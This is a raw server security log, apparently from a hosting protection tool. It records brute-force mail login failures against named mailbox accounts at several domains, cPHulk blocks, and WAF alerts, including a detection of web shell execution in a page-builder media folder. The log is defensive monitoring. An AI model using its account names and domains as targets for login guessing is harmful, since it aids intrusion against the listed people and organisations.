2026-07-14 09:57:19 dovecot_login authenticator failed for H=([36.249.60.142]) [218.150.226.139]:24808: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.191.151.172
country_id: 337996
description:
2026-07-14 09:56:40 dovecot_login authenticator failed for H=([14.224.212.102]) [196.191.151.172]:42242: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.91.83
country_id: 1269750
description:
2026-07-14 09:56:44 dovecot_login authenticator failed for H=([183.239.20.236]) [103.130.91.83]:44402: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.224.217.104
country_id: 1562822
description:
2026-07-14 09:56:55 dovecot_login authenticator failed for H=(203.92.36.109.reverse.spectranet.in) [14.224.217.104]:36142: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 141.255.164.66
country_id: 2658434
domain: alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/eixxapws/fonts/iipmofum.PHP||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 100.58.73.231
country_id: 6252001
domain: www.reach.ddgalaxy.in
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.119 Safari/537.36||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.87.2
country_id: 1269750
description:
2026-07-14 09:59:14 dovecot_login authenticator failed for H=(netcomafrica.com) [182.78.87.2]:47088: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.67.152.201
country_id: 1269750
description:
2026-07-14 09:59:47 dovecot_login authenticator failed for H=([183.171.155.166]) [103.67.152.201]:37176: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-14 09:59:25 dovecot_login authenticator failed for H=(104-182-1-92.lightspeed.chtnsc.sbcglobal.net) [210.5.117.238]:64792: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-07-14 09:59:28 dovecot_login authenticator failed for H=([49.124.152.27]) [122.169.40.221]:38116: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.119.70.200
country_id: 1282988
description:
2026-07-14 09:59:37 dovecot_login authenticator failed for H=(wsip-184-178-172-10.rn.hr.cox.net) [157.119.70.200]:58804: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-14 09:59:49 dovecot_login authenticator failed for H=([199.116.114.10]) [188.122.37.97]:59382: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.153.238.79
country_id: 1835841
description:
2026-07-14 10:03:56 dovecot_login authenticator failed for H=([49.124.153.44]) [124.153.238.79]:43188: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.184.80
country_id: 99237
description:
2026-07-14 10:12:04 dovecot_plain authenticator failed for H=(tocum) [65.20.184.80]:59056: 535 Incorrect authentication data (set_id=info@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.213.181.6
country_id: 1269750
description:
2026-07-14 10:17:13 dovecot_login authenticator failed for H=(249.151.48.116.static.netvigator.com) [117.213.181.6]:39411: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.8.97
country_id: 1835841
description:
2026-07-14 10:17:36 dovecot_login authenticator failed for H=(93.102.230.82.rev.optimus.pt) [218.156.8.97]:43126: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.190
country_id: 1835841
description:
2026-07-14 10:19:38 dovecot_login authenticator failed for H=([142.54.229.253]) [1.250.67.190]:60028: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.151.88.27
country_id: 6251999
description:
2026-07-14 10:20:08 dovecot_login authenticator failed for H=([49.124.152.213]) [184.151.88.27]:56501: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.162.61.229
country_id: 1835841
description:
2026-07-14 10:25:51 dovecot_login authenticator failed for H=([49.124.159.189]) [121.162.61.229]:56588: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.251.73
country_id: 1269750
description:
2026-07-14 10:26:34 dovecot_login authenticator failed for H=([67.201.59.67]) [122.187.251.73]:37704: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.89.157.129
country_id: 1282988
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es50-pair?Itemid=101&catid=18 HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-14 10:32:17 dovecot_login authenticator failed for H=([67.201.57.102]) [117.211.15.93]:45396: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-07-14 10:31:27 dovecot_login authenticator failed for H=([103.112.224.81]) [196.189.59.226]:45503: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.56.12
country_id: 1269750
description:
2026-07-14 10:31:45 dovecot_login authenticator failed for H=(177-0-238-190.bnut3703.dsl.brasiltelecom.net.br) [183.82.56.12]:58814: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.67.161.64
country_id: 2661886
description:
2026-07-14 10:32:05 dovecot_login authenticator failed for H=78-67-161-64-no2550.tbcn.telia.com ([220.180.107.193]) [78.67.161.64]:49380: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.86.62
country_id: 1269750
description:
2026-07-14 10:34:20 dovecot_login authenticator failed for H=([125.134.191.222]) [182.78.86.62]:57250: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.190.179
country_id: 660013
description:
2026-07-14 10:36:21 dovecot_login authenticator failed for H=dsl-hkibng42-50dfbe-179.dhcp.inet.fi (181-212-174-166.baf.movistar.cl) [80.223.190.179]:56218: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.132
country_id: 1668284
description:
2026-07-14 10:37:51 dovecot_login authenticator failed for H=110-25-112-132.adsl.fetnet.net ([103.30.112.214]) [110.25.112.132]:55288: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.188.193.96
country_id: 1835841
description:
2026-07-14 10:38:15 dovecot_login authenticator failed for H=(wsip-70-163-25-81.ph.ph.cox.net) [121.188.193.96]:53705: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.191.91.81
country_id: 3437598
description:
2026-07-14 10:39:12 dovecot_login authenticator failed for H=([106.14.182.77]) [45.191.91.81]:41240: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.44.175.24
country_id: 357994
description:
2026-07-14 10:38:37 dovecot_login authenticator failed for H=(distribution05-10gb.1560.la3.switches.zerolag.com) [102.44.175.24]:46154: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.146.109
country_id: 99237
description:
2026-07-14 10:39:31 dovecot_login authenticator failed for H=(WGPON-39181-194.wateen.net) [65.20.146.109]:36765: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.182.118
country_id: 1269750
description:
2026-07-14 10:39:32 dovecot_login authenticator failed for H=([183.171.4.138]) [125.19.182.118]:39652: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.247.22.181
country_id: 1835841
description:
2026-07-14 10:40:13 dovecot_login authenticator failed for H=([65.20.204.179]) [106.247.22.181]:41599: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2406:6d00:ffb:1200:7014:7ecf:dd9b:4cc4
country_id: 2077456
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.28||T:APACHE||MVN:ARGS:vfedit10incident-classification[]||MV:Moderate||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.156.82.197
country_id: 1861060
description:
2026-07-14 10:42:46 dovecot_login authenticator failed for H=p2715197-ipngnfx01funabasi.chiba.ocn.ne.jp ([49.124.147.118]) [114.156.82.197]:58170: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.138
country_id: 1269750
description:
2026-07-14 10:43:30 dovecot_login authenticator failed for H=([174.75.211.196]) [182.95.106.138]:48748: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.227.211.82
country_id: 1269750
description:
2026-07-14 10:43:44 dovecot_login authenticator failed for H=(apn-87-251-233-179.static.gprs.plus.pl) [110.227.211.82]:43922: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.204.108.142
country_id: 1819730
description:
[2026-07-14 10:44:42 +0530] info [webmaild] 103.204.108.142 - support@ddgalaxy.in "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-14 10:47:27 dovecot_login authenticator failed for H=([187.93.174.51]) [188.122.37.97]:58340: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.68.226.171
country_id: 3017382
description:
2026-07-14 10:47:43 dovecot_login authenticator failed for H=vps-b674cd8d.vps.ovh.net ([199.187.210.51]) [51.68.226.171]:46000: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.133.208
country_id: 99237
description:
2026-07-14 10:52:55 dovecot_plain authenticator failed for H=(equavaing) [65.20.133.208]:46211: 535 Incorrect authentication data (set_id=info@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.233.110
country_id: 99237
description:
2026-07-14 10:52:58 dovecot_plain authenticator failed for H=(cogerm) [65.20.233.110]:36456: 535 Incorrect authentication data (set_id=info@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.164.239.190
country_id: 1835841
description:
2026-07-14 10:54:20 dovecot_login authenticator failed for H=([36.134.178.245]) [112.164.239.190]:37992: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.151.88.27
country_id: 6251999
description:
2026-07-14 10:56:15 dovecot_login authenticator failed for H=(211-21-168-139.hinet-ip.hinet.net) [184.151.88.27]:48903: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.160.57.196
country_id: 1835841
description:
2026-07-14 11:00:04 dovecot_login authenticator failed for H=(ip-199-102-107-147.hosts.zerolag.com) [112.160.57.196]:52944: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.211.180
country_id: 1269750
description:
2026-07-14 11:00:42 dovecot_login authenticator failed for H=([112.164.195.219]) [203.192.211.180]:44388: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.49.97.15
country_id: 6252001
description:
2026-07-14 11:00:57 dovecot_login authenticator failed for H=([65.20.138.3]) [64.49.97.15]:58400: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.30
country_id: 1269750
description:
2026-07-14 11:01:16 dovecot_login authenticator failed for H=([58.222.86.210]) [182.95.119.30]:48756: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-07-14 11:01:33 dovecot_login authenticator failed for H=([211.178.3.26]) [41.219.149.74]:12537: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.188.218.62
country_id: 1835841
description:
2026-07-14 11:02:17 dovecot_login authenticator failed for H=([125.23.255.134]) [121.188.218.62]:32878: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.84.120.3
country_id: 6252001
description:
2026-07-14 11:02:35 dovecot_login authenticator failed for H=(UWcGvv9) [45.84.120.3]:64144: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 45.84.120.3
country_id: 6252001
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[45.84.120.3] [Authentication Database]=[mail] [Username]=[info@metrodigitals.com] (5/5 failures) (blocked until [Tue Jul 14 05:48:35 2026 UTC/Tue Jul 14 11:18:35 2026 LOCAL])


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.84.120.3
country_id: 6252001
description:
2026-07-14 11:03:37 dovecot_login authenticator failed for H=(CGHE6R7) [45.84.120.3]:50612: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.84.120.3
country_id: 6252001
description:
2026-07-14 11:04:38 dovecot_login authenticator failed for H=(Rq6Pzx) [45.84.120.3]:54559: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.42.133.74
country_id: 1835841
description:
2026-07-14 11:04:44 dovecot_login authenticator failed for H=(110-25-109-53.adsl.fetnet.net) [61.42.133.74]:58127: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.61.251.4
country_id: 3686110
description:
2026-07-14 11:05:20 dovecot_login authenticator failed for H=([67.201.39.9]) [181.61.251.4]:57280: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.84.120.3
country_id: 6252001
description:
2026-07-14 11:05:36 dovecot_login authenticator failed for H=(2NxYGrQp) [45.84.120.3]:58190: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.84.120.3
country_id: 6252001
description:
2026-07-14 11:07:03 dovecot_login authenticator failed for H=(l0Fs3K) [45.84.120.3]:62799: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 45.84.120.3
country_id: 6252001
description:
2026-07-14 11:06:38 dovecot_login authenticator failed for H=(CCtLGTA) [45.84.120.3]:61846: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:06:38 dovecot_login authenticator failed for H=(IC7ltV) [147.124.219.211]:51311: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.84.120.3
country_id: 6252001
description:
2026-07-14 11:07:22 dovecot_login authenticator failed for H=(nMLzNlEV) [45.84.120.3]:63706: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:07:28 dovecot_login authenticator failed for H=(lZKrXNH8v) [147.124.219.211]:54452: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 147.124.219.211
country_id: 6252001
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[147.124.219.211] [Authentication Database]=[mail] [Username]=[ahsbahrain] (5/5 failures) (blocked until [Tue Jul 14 05:53:16 2026 UTC/Tue Jul 14 11:23:16 2026 LOCAL])


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.84.120.3
country_id: 6252001
description:
2026-07-14 11:08:26 dovecot_login authenticator failed for H=(Q7tZGDv70) [45.84.120.3]:50984: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:08:44 dovecot_login authenticator failed for H=(21QIZ1NMZ) [147.124.219.211]:58945: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.84.120.3
country_id: 6252001
description:
2026-07-14 11:09:22 dovecot_login authenticator failed for H=(t731JAS) [45.84.120.3]:54147: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:09:34 dovecot_login authenticator failed for H=(soHEBf) [147.124.219.211]:62135: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.242.170.10
country_id: 1036973
description:
2026-07-14 11:10:13 dovecot_login authenticator failed for H=([220.165.85.39]) [197.242.170.10]:50322: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.84.120.3
country_id: 6252001
description:
2026-07-14 11:10:34 dovecot_login authenticator failed for H=(wCgWw0rC) [45.84.120.3]:57926: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.165.29.196
country_id: 1733045
description:
2026-07-14 11:10:33 dovecot_login authenticator failed for H=([36.135.93.36]) [202.165.29.196]:30520: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:10:24 dovecot_login authenticator failed for H=(zeqBkWCk) [147.124.219.211]:65245: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 45.84.120.3
country_id: 6252001
description:
2026-07-14 11:11:34 dovecot_login authenticator failed for H=(Ov84QBw) [45.84.120.3]:61055: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:11:40 dovecot_login authenticator failed for H=(zZ7zOMnf) [147.124.219.211]:53982: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.84.120.3
country_id: 6252001
description:
2026-07-14 11:11:54 dovecot_login authenticator failed for H=(IL2W03aoL2) [45.84.120.3]:62362: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 45.84.120.3
country_id: 6252001
description:
Login Blocked: IP reached maximum auth failures for a one day block [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[45.84.120.3] [Authentication Database]=[mail] [Username]=[info@metrodigitals.com] (30/30 failures) (blocked until [Wed Jul 15 05:42:15 2026 UTC/Wed Jul 15 11:12:15 2026 LOCAL])


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.84.120.3
country_id: 6252001
description:
2026-07-14 11:12:45 dovecot_login authenticator failed for H=(ouE5lzV) [45.84.120.3]:64165: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:12:30 dovecot_login authenticator failed for H=(i3JETG) [147.124.219.211]:57284: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.84.120.3
country_id: 6252001
description:
2026-07-14 11:13:27 dovecot_login authenticator failed for H=(sJ0X4m) [45.84.120.3]:51670: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:13:45 dovecot_login authenticator failed for H=(VY35ldk) [147.124.219.211]:62213: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:14:35 dovecot_login authenticator failed for H=(zazaU7Ls) [147.124.219.211]:65466: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.22.153
country_id: 1668284
description:
2026-07-14 11:14:36 dovecot_login authenticator failed for H=111-70-22-153.emome-ip.hinet.net (172-233-139-80.ip.linodeusercontent.com) [111.70.22.153]:48291: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.84.120.3
country_id: 6252001
description:
2026-07-14 11:14:39 dovecot_login authenticator failed for H=(emsfgg7w8) [45.84.120.3]:55589: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.225.15.98
country_id: 1269750
description:
2026-07-14 11:15:01 dovecot_login authenticator failed for H=(dsl-hkibng42-50dfc9-173.dhcp.inet.fi) [103.225.15.98]:39652: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:15:25 dovecot_login authenticator failed for H=(yo4uyY9p9) [147.124.219.211]:52253: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.84.120.3
country_id: 6252001
description:
2026-07-14 11:15:27 dovecot_login authenticator failed for H=(1M6di9z) [45.84.120.3]:57169: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.1.51.168
country_id: 2635167
description:
2026-07-14 11:17:08 dovecot_login authenticator failed for H=oldh-13-b2-v4wan-171191-cust935.vm18.cable.virginm.net ([192.111.130.1]) [80.1.51.168]:49048: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.84.120.3
country_id: 6252001
description:
2026-07-14 11:16:26 dovecot_login authenticator failed for H=(7znzoTdW8o) [45.84.120.3]:61185: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:16:39 dovecot_login authenticator failed for H=(Ug03Uw3) [147.124.219.211]:56745: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:17:29 dovecot_login authenticator failed for H=(PMIoOHYA) [147.124.219.211]:59693: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:18:41 dovecot_login authenticator failed for H=(GYhoEMNM) [147.124.219.211]:64048: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 147.124.219.211
country_id: 6252001
description:
Login Blocked: IP reached maximum auth failures for a one day block [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[147.124.219.211] [Authentication Database]=[mail] [Username]=[ahsbahrain] (30/30 failures) (blocked until [Wed Jul 15 05:49:04 2026 UTC/Wed Jul 15 11:19:04 2026 LOCAL])


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:19:31 dovecot_login authenticator failed for H=(64VPkerk) [147.124.219.211]:51098: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:20:22 dovecot_login authenticator failed for H=(yz11fu) [147.124.219.211]:54300: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:21:38 dovecot_login authenticator failed for H=(ehLzwI9f) [147.124.219.211]:59257: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:22:28 dovecot_login authenticator failed for H=(JAwYXLn0Y) [147.124.219.211]:62496: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:23:44 dovecot_login authenticator failed for H=(tHktIOtBDX) [147.124.219.211]:51290: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.89.208.174
country_id: 1605651
description:
2026-07-14 11:23:52 dovecot_login authenticator failed for H=([49.124.153.37]) [183.89.208.174]:57010: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.72.9.151
country_id: 1269750
description:
2026-07-14 11:24:07 dovecot_login authenticator failed for H=([115.95.23.226]) [116.72.9.151]:55636: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:24:34 dovecot_login authenticator failed for H=(Px3qTOjGF) [147.124.219.211]:54359: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:25:23 dovecot_login authenticator failed for H=(OBulDATKz) [147.124.219.211]:57548: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:26:38 dovecot_login authenticator failed for H=(hFchm9BQ) [147.124.219.211]:62118: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:27:27 dovecot_login authenticator failed for H=(gg16IGY) [147.124.219.211]:65523: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:28:43 dovecot_login authenticator failed for H=(7qy60pzb81) [147.124.219.211]:54048: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:29:53 dovecot_login authenticator failed for H=(xebmCU3) [147.124.219.211]:58145: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:30:43 dovecot_login authenticator failed for H=(kjypww) [147.124.219.211]:61027: 535 Incorrect authentication data (set_id=ahsbahrain)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:31:33 dovecot_login authenticator failed for H=(RgN1k6j) [147.124.219.211]:64079: 535 Incorrect authentication data (set_id=ahsbahrain@ahsmarine.com)


plugin: ossec
rule: 13001
